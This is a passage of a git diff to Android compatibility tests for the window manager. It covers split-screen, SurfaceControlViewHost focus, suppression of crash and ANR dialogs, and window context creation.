-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_180);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        rotationSession.set(ROTATION_0);
-        mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-    }
-
-    @Test
-    public void testRotationWhenDockedWhileLocked() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertSanity();
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        final RotationSession rotationSession = createManagedRotationSession();
-        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        for (int i = 0; i < 4; i++) {
-            lockScreenSession.sleepDevice();
-            // The display may not be rotated while device is locked.
-            rotationSession.set(i, false /* waitDeviceRotation */);
-            lockScreenSession.wakeUpDevice()
-                    .unlockDevice();
-            mWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
-        }
-    }
-
-    /**
-     * Verify split screen mode visibility after stack resize occurs.
-     */
-    @Test
-    public void testResizeDockedStack() throws Exception {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
-        resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
-        mWmState.computeState(
-                new WaitForValidActivityState(TEST_ACTIVITY),
-                new WaitForValidActivityState(DOCKED_ACTIVITY));
-        mWmState.assertContainsStack("Must contain secondary split-screen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain primary split-screen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(DOCKED_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-        int restoreW = restoreDockBounds.width();
-        int restoreH = restoreDockBounds.height();
-        resizeDockedStack(restoreW, restoreH, restoreW, restoreH);
-    }
-
-    @Test
-    public void testSameProcessActivityResumedPreQ() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_LAUNCHING_ACTIVITY));
-
-        assertEquals("There must be only one resumed activity in the package.", 1,
-                mWmState.getResumedActivitiesCountInPackage(
-                        SDK_27_TEST_ACTIVITY.getPackageName()));
-    }
-
-    @Test
-    public void testDifferentProcessActivityResumedPreQ() {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY));
-
-        assertEquals("There must be only two resumed activities in the package.", 2,
-                mWmState.getResumedActivitiesCountInPackage(
-                        SDK_27_TEST_ACTIVITY.getPackageName()));
-    }
-
-    @Test
-    public void testDisallowEnterSplitscreenWhenInLockedTask() throws Exception {
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        WindowManagerState.ActivityTask task =
-                mWmState.getStandardRootTaskByWindowingMode(
-                        WINDOWING_MODE_FULLSCREEN).getTopTask();
-
-        // Lock the task and ensure that we can't enter split screen
-        try {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mAtm.startSystemLockTaskMode(task.mTaskId);
-            });
-            waitForOrFail("Task in lock mode", () -> {
-                return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
-            });
-
-            assertFalse(setActivityTaskWindowingMode(TEST_ACTIVITY,
-                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
-        } finally {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mAtm.stopSystemLockTaskMode();
-            });
-        }
-    }
-
-    private Rect computeNewDockBounds(
-            Rect fullscreenBounds, Rect dockBounds, boolean reduceSize) {
-        final boolean inLandscape = fullscreenBounds.width() > dockBounds.width();
-        // We are either increasing size or reducing it.
-        final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
-        final Rect newBounds = new Rect(dockBounds);
-        if (inLandscape) {
-            // In landscape we change the width.
-            newBounds.right = (int) (newBounds.left + (newBounds.width() * sizeChangeFactor));
-        } else {
-            // In portrait we change the height
-            newBounds.bottom = (int) (newBounds.top + (newBounds.height() * sizeChangeFactor));
-        }
-
-        return newBounds;
-    }
-
-    @Test
-    public void testStackListOrderLaunchDockedActivity() throws Exception {
-        assumeTrue(!mIsHomeRecentsComponent);
-
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
-
-        final int homeStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
-        final int recentsStackIndex = mWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
-        assertThat("Recents stack should be on top of home stack",
-                recentsStackIndex, lessThan(homeStackIndex));
-    }
-
-
-    /**
-     * Asserts that the activity is visible when the top opaque activity finishes and with another
-     * translucent activity on top while in split-screen-secondary task.
-     */
-    @Test
-    public void testVisibilityWithTranslucentAndTopFinishingActivity() throws Exception {
-        // Launch two activities in split-screen mode.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY));
-
-        // Launch two more activities on a different task on top of split-screen-secondary and
-        // only the top opaque activity should be visible.
-        getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                .setUseInstrumentation()
-                .setWaitForLaunched(true)
-                .execute();
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-        mWmState.waitForActivityState(TRANSLUCENT_TEST_ACTIVITY, STATE_STOPPED);
-        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, false);
-        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, false);
-
-        // Finish the top opaque activity and both the two activities should be visible.
-        mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
-        mWmState.computeState(new WaitForValidActivityState(TRANSLUCENT_TEST_ACTIVITY));
-        mWmState.assertVisibility(TRANSLUCENT_TEST_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY_WITH_SAME_AFFINITY, true);
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index b1a2a0d..cd9e38c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -43,7 +43,6 @@
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
-import android.server.wm.app.Components;
 import android.server.wm.intent.Activities;
 
 
@@ -60,11 +59,14 @@
 
     @Test
     public void testStartHomeIfNoActivities() {
+        if (!hasHomeScreen()) {
+            return;
+        }
         final ComponentName defaultHome = getDefaultHomeComponent();
         final int[] allActivityTypes = Arrays.copyOf(ALL_ACTIVITY_TYPE_BUT_HOME,
                 ALL_ACTIVITY_TYPE_BUT_HOME.length + 1);
         allActivityTypes[allActivityTypes.length - 1] = WindowConfiguration.ACTIVITY_TYPE_HOME;
-        removeStacksWithActivityTypes(allActivityTypes);
+        removeRootTasksWithActivityTypes(allActivityTypes);
 
         waitAndAssertTopResumedActivity(defaultHome, DEFAULT_DISPLAY,
                 "Home activity should be restarted after force-finish");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
index 55e6cc1..6644990 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
@@ -19,11 +19,18 @@
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
+import org.junit.Before;
+import org.junit.Test;
 
 import android.app.Activity;
 import android.app.ActivityManager;
@@ -32,35 +39,24 @@
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.FeatureInfo;
 import android.graphics.PixelFormat;
-import android.graphics.Point;
-import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.RequiresDevice;
 import android.view.Gravity;
+import android.view.SurfaceControlViewHost;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
 import android.view.View;
 import android.view.ViewGroup;
-import android.view.SurfaceControl;
-import android.view.SurfaceHolder;
-import android.view.SurfaceHolder.Callback;
-import android.view.WindowInsets;
+import android.view.ViewTreeObserver;
 import android.view.WindowManager;
-import android.view.SurfaceControlViewHost;
-import android.widget.FrameLayout;
 import android.widget.Button;
-
-import android.view.SurfaceView;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.FlakyTest;
-import androidx.test.rule.ActivityTestRule;
+import android.widget.FrameLayout;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
-
-import android.platform.test.annotations.Presubmit;
-
-import org.junit.Before;
-import org.junit.Test;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Ensure end-to-end functionality of SurfaceControlViewHost.
@@ -121,16 +117,56 @@
     private void addViewToSurfaceView(SurfaceView sv, View v, int width, int height) {
         mVr = new SurfaceControlViewHost(mActivity, mActivity.getDisplay(), sv.getHostToken());
 
-        sv.setChildSurfacePackage(mVr.getSurfacePackage());
 
         if (mEmbeddedLayoutParams == null) {
             mVr.setView(v, width, height);
         } else {
             mVr.setView(v, mEmbeddedLayoutParams);
         }
+
+        sv.setChildSurfacePackage(mVr.getSurfacePackage());
+
         assertEquals(v, mVr.getView());
     }
 
+    private void requestSurfaceViewFocus() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mSurfaceView.setFocusableInTouchMode(true);
+            mSurfaceView.requestFocusFromTouch();
+        });
+    }
+
+    private void assertWindowFocused(final View view, boolean hasWindowFocus) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
+                view, () -> {
+                    if (view.hasWindowFocus() == hasWindowFocus) {
+                        latch.countDown();
+                        return;
+                    }
+                    view.getViewTreeObserver().addOnWindowFocusChangeListener(
+                            new ViewTreeObserver.OnWindowFocusChangeListener() {
+                                @Override
+                                public void onWindowFocusChanged(boolean newFocusState) {
+                                    if (hasWindowFocus == newFocusState) {
+                                        view.getViewTreeObserver()
+                                                .removeOnWindowFocusChangeListener(this);
+                                        latch.countDown();
+                                    }
+                                }
+                            });
+                }
+        );
+
+        try {
+            if (!latch.await(3, TimeUnit.SECONDS)) {
+                fail();
+            }
+        } catch (InterruptedException e) {
+            fail();
+        }
+    }
+
     @Override
     public void surfaceCreated(SurfaceHolder holder) {
         addViewToSurfaceView(mSurfaceView, mEmbeddedView,
@@ -289,4 +325,42 @@
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
         assertTrue(mClicked);
     }
+
+    @Test
+    public void testFocusable() throws Throwable {
+        mEmbeddedView = new Button(mActivity);
+        addSurfaceView(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT);
+
+        // When surface view is focused, it should transfer focus to the embedded view.
+        requestSurfaceViewFocus();
+        assertWindowFocused(mEmbeddedView, true);
+        // assert host does not have focus
+        assertWindowFocused(mSurfaceView, false);
+
+        // When surface view is no longer focused, it should transfer focus back to the host window.
+        mActivityRule.runOnUiThread(() -> mSurfaceView.setFocusable(false));
+        assertWindowFocused(mEmbeddedView, false);
+        // assert host has focus
+        assertWindowFocused(mSurfaceView, true);
+    }
+
+    @Test
+    public void testNotFocusable() throws Throwable {
+        mEmbeddedView = new Button(mActivity);
+        addSurfaceView(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT);
+        mEmbeddedLayoutParams = new WindowManager.LayoutParams(mEmbeddedViewWidth,
+                mEmbeddedViewHeight, WindowManager.LayoutParams.TYPE_APPLICATION, 0,
+                PixelFormat.OPAQUE);
+        mActivityRule.runOnUiThread(() -> {
+            mEmbeddedLayoutParams.flags |= FLAG_NOT_FOCUSABLE;
+            mVr.relayout(mEmbeddedLayoutParams);
+        });
+
+        // When surface view is focused, nothing should happen since the embedded view is not
+        // focusable.
+        requestSurfaceViewFocus();
+        assertWindowFocused(mEmbeddedView, false);
+        // assert host has focus
+        assertWindowFocused(mSurfaceView, true);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java
index 67f51ab..767650d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java
@@ -161,7 +161,7 @@
     public void testOnDetachedFromWindow() {
         assertFalse(mMockSurfaceView.isDetachedFromWindow());
         assertTrue(mMockSurfaceView.isShown());
-        CtsKeyEventUtil.sendKeys(mInstrumentation, mMockSurfaceView, KeyEvent.KEYCODE_BACK);
+        mActivityRule.finishActivity();
         PollingCheck.waitFor(() -> mMockSurfaceView.isDetachedFromWindow() &&
                 !mMockSurfaceView.isShown());
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
new file mode 100644
index 0000000..99e9659
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.content.ComponentName;
+import android.os.SystemClock;
+import android.platform.test.annotations.Postsubmit;
+import android.provider.Settings;
+import android.server.wm.annotation.Group3;
+import android.server.wm.app.Components;
+import android.server.wm.settings.SettingsSession;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.view.KeyEvent;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test scenarios where crash dialogs should not be shown if they are not supported.
+ *
+ * <p>Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:UnsupportedErrorDialogTests
+ */
+@Group3
+@Postsubmit
+public class UnsupportedErrorDialogTests extends ActivityManagerTestBase {
+    private final UiDevice mUiDevice = UiDevice.getInstance(mInstrumentation);
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        // These tests are for cases when error dialogs are not supported
+        Assume.assumeFalse(ActivityTaskManager.currentUiModeSupportsErrorDialogs(mContext));
+        super.setUp();
+        resetAppErrors();
+    }
+
+    /** Make sure the developer options apply correctly leading to the dialog being shown. */
+    @Test
+    public void testDevSettingOverride() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession(Settings.Global.SHOW_FIRST_CRASH_DIALOG);
+             SettingsSession<Integer> showOnFirstCrashDev =
+                     secureIntSession(Settings.Secure.SHOW_FIRST_CRASH_DIALOG_DEV_OPTION)) {
+            // set developer setting to show dialogs anyway
+            devDialogShow.set(1);
+
+            // enable only the regular option for showing the crash dialog after the first crash
+            showOnFirstCrash.set(1);
+            showOnFirstCrashDev.set(0);
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+            findCrashDialogAndCloseApp();
+            ensureHomeFocused();
+
+            resetAppErrors();
+
+            // enable only the dev option for showing the crash dialog after the first crash
+            showOnFirstCrash.set(0);
+            showOnFirstCrashDev.set(1);
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+            findCrashDialogAndCloseApp();
+            ensureHomeFocused();
+        }
+    }
+
+    /**
+     * Make sure the dialog appears if the dev option is set even if the user specifically
+     * set to suppress it.
+     */
+    @Test
+    public void testDevSettingPrecedence() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> userDialogHide =
+                     globalIntSession(Settings.Global.HIDE_ERROR_DIALOGS);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession(Settings.Global.SHOW_FIRST_CRASH_DIALOG)
+        ) {
+            devDialogShow.set(1);
+            showOnFirstCrash.set(1);
+            userDialogHide.set(1);
+
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+            findCrashDialogAndCloseApp();
+            ensureHomeFocused();
+        }
+    }
+
+    /** Make sure the AppError dialog is not shown even if would have after the initial crash. */
+    @Test
+    public void testFirstCrashDialogNotShown() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession(Settings.Global.SHOW_FIRST_CRASH_DIALOG)) {
+            devDialogShow.set(0);
+            // enable showing crash dialog after first crash
+            showOnFirstCrash.set(1);
+
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+
+            ensureNoCrashDialog(Components.CRASHING_ACTIVITY);
+            ensureHomeFocused();
+        }
+    }
+
+    /** Ensure the AppError dialog is not shown even after multiple crashes. */
+    @Test
+    public void testRepeatedCrashDialogNotShown() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession("show_first_crash_dialog");
+             SettingsSession<Integer> showOnFirstCrashDev =
+                     secureIntSession("show_first_crash_dialog_dev_option")) {
+            // disable all overrides
+            devDialogShow.set(0);
+            showOnFirstCrash.set(0);
+            showOnFirstCrashDev.set(0);
+
+            // repeatedly crash the app without resetting AppErrors
+            for (int i = 0; i < 5; i++) {
+                launchActivityNoWait(Components.CRASHING_ACTIVITY);
+                ensureNoCrashDialog(Components.CRASHING_ACTIVITY);
+            }
+            ensureHomeFocused();
+        }
+    }
+
+    /** Ensure the ANR dialog is also not shown. */
+    @Test
+    public void testAnrIsNotShown() {
+        // leave the settings at their defaults
+        // launch non responsive app
+        executeShellCommand(getAmStartCmd(Components.UNRESPONSIVE_ACTIVITY) + " --ei "
+                + Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS + " 30000");
+        // wait for app to be focused
+        mWmState.waitAndAssertAppFocus(Components.UNRESPONSIVE_ACTIVITY.getPackageName(),
+                2_000 /* waitTime */);
+        // queue up enough key events to trigger an ANR
+        for (int i = 0; i < 14; i++) {
+            injectKey(KeyEvent.KEYCODE_TAB, false /* longPress */, false /* sync */);
+            SystemClock.sleep(500);
+        }
+        ensureNoCrashDialog(Components.UNRESPONSIVE_ACTIVITY);
+        ensureHomeFocused();
+    }
+
+    private void findCrashDialogAndCloseApp() {
+        UiObject2 closeAppButton = findCloseButton();
+        assertNotNull("Could not find crash dialog!", closeAppButton);
+        closeAppButton.click();
+    }
+
+    private void ensureNoCrashDialog(ComponentName activity) {
+        UiObject2 closeButton = findCloseButton();
+        if (closeButton != null) {
+            closeButton.click();
+            fail("An unexpected crash dialog appeared!");
+        }
+        final int numWindows = mWmState.getWindowsByPackageName(activity.getPackageName()).size();
+        assertEquals(0, numWindows);
+    }
+
+    private void ensureHomeFocused() {
+        mWmState.computeState();
+        mWmState.assertFocusedActivity("The home activity should be visible!",
+                mWmState.getHomeActivityName());
+    }
+
+    /** Attempt to find the close button of a crash or ANR dialog in at most 2 seconds. */
+    private UiObject2 findCloseButton() {
+        return mUiDevice.wait(
+                Until.findObject(By.res("android:id/aerr_close")),
+                2_000);
+    }
+
+    private void resetAppErrors() {
+        SystemUtil.runWithShellPermissionIdentity(mAm::resetAppErrors,
+                android.Manifest.permission.RESET_APP_ERRORS);
+    }
+
+    private SettingsSession<Integer> globalIntSession(String settingName) {
+        return new SettingsSession<>(
+                Settings.Global.getUriFor(settingName),
+                Settings.Global::getInt, Settings.Global::putInt);
+    }
+
+    private SettingsSession<Integer> secureIntSession(String settingName) {
+        return new SettingsSession<>(
+                Settings.Secure.getUriFor(settingName),
+                Settings.Secure::getInt, Settings.Secure::putInt);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
index a115396..66468a3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
@@ -16,10 +16,34 @@
 
 package android.server.wm;
 
+import static android.view.WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_ATTACHED_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_MEDIA;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_STARTING;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_SUB_PANEL;
+import static android.view.WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_DRAWN_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_INPUT_METHOD;
+import static android.view.WindowManager.LayoutParams.TYPE_INPUT_METHOD_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_KEYGUARD_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION;
+import static android.view.WindowManager.LayoutParams.TYPE_SEARCH_BAR;
+import static android.view.WindowManager.LayoutParams.TYPE_STATUS_BAR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_TOAST;
+import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
 
+import android.content.Context;
 import android.platform.test.annotations.Presubmit;
+import android.view.Display;
 
 import org.junit.Test;
 
@@ -37,20 +61,47 @@
         mContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
     }
 
-    @Test(expected = UnsupportedOperationException.class)
-    public void testCreateTooManyWindowContextWithoutViewThrowException() {
+    @Test(expected = IllegalArgumentException.class)
+    public void testWindowContextWithNullDisplay() {
+        final Context displayContext = createDisplayContext(Display.DEFAULT_DISPLAY);
+        displayContext.createWindowContext(null /* display */, TYPE_APPLICATION_OVERLAY,
+                null /* options */);
+    }
+
+    @Test
+    public void testWindowContextWithDisplayOnNonUiContext() {
         createAllowSystemAlertWindowAppOpSession();
-        final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
+        final Display display = mDm.getDisplay(Display.DEFAULT_DISPLAY);
+        mContext.createWindowContext(display, TYPE_APPLICATION_OVERLAY, null /* options */);
+    }
+
+    @Test
+    public void testCreateMultipleWindowContextsWithoutView() {
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
-        for (int i = 0; i < 6; i++) {
+        for (int i = 0; i < 10; i++) {
             createWindowContext(display.mId);
         }
     }
 
-    @Test(expected = RuntimeException.class)
-    public void testWindowContextWithIllegalWindowType() {
-        final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
+    @Test
+    public void testWindowContextWithAllPublicTypes() {
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
-        createWindowContext(display.mId, TYPE_APPLICATION);
+
+        final int[] allPublicWindowTypes = new int[] {
+                TYPE_BASE_APPLICATION, TYPE_APPLICATION, TYPE_APPLICATION_STARTING,
+                TYPE_DRAWN_APPLICATION, TYPE_APPLICATION_PANEL, TYPE_APPLICATION_MEDIA,
+                TYPE_APPLICATION_SUB_PANEL, TYPE_APPLICATION_ATTACHED_DIALOG,
+                TYPE_STATUS_BAR, TYPE_SEARCH_BAR, TYPE_PHONE, TYPE_SYSTEM_ALERT,
+                TYPE_TOAST, TYPE_SYSTEM_OVERLAY, TYPE_PRIORITY_PHONE,
+                TYPE_SYSTEM_DIALOG, TYPE_KEYGUARD_DIALOG, TYPE_SYSTEM_ERROR, TYPE_INPUT_METHOD,
+                TYPE_INPUT_METHOD_DIALOG, TYPE_WALLPAPER, TYPE_PRIVATE_PRESENTATION,
+                TYPE_ACCESSIBILITY_OVERLAY, TYPE_APPLICATION_OVERLAY
+        };
+
+        for (int windowType : allPublicWindowTypes) {
+            createWindowContext(display.mId, windowType);
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
index 83407f6..1587b0f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
@@ -23,14 +23,17 @@
 
 /**  Base class for window context tests */
 class WindowContextTestBase extends MultiDisplayTestBase {
+    Context createDisplayContext(int displayId) {
+        final Display display = mDm.getDisplay(displayId);
+        return mContext.createDisplayContext(display);
+    }
 
     Context createWindowContext(int displayId) {
         return createWindowContext(displayId, TYPE_APPLICATION_OVERLAY);
     }
 
     Context createWindowContext(int displayId, int type) {
-        final Display display = mDm.getDisplay(displayId);
-        return mContext.createDisplayContext(display).createWindowContext(
+        return createDisplayContext(displayId).createWindowContext(
                 type, null /* options */);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
index 99588ce..cd66878 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
@@ -16,12 +16,18 @@
 
 package android.server.wm;
 
+import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
+import android.content.ComponentName;
 import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.graphics.Rect;
+import android.os.IBinder;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.view.View;
@@ -41,7 +47,7 @@
     @AppModeFull
     public void testWindowContextConfigChanges() {
         createAllowSystemAlertWindowAppOpSession();
-        final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
         final Context windowContext = createWindowContext(display.mId);
         mInstrumentation.runOnMainSync(() -> {
@@ -72,4 +78,25 @@
         assertEquals(expectedMetrics.getSize().getWidth(), bounds.width());
         assertEquals(expectedMetrics.getSize().getHeight(), bounds.height());
     }
+
+    @Test
+    @AppModeFull
+    public void testWindowContextBindService() {
+        createAllowSystemAlertWindowAppOpSession();
+        final Context windowContext = createWindowContext(DEFAULT_DISPLAY);
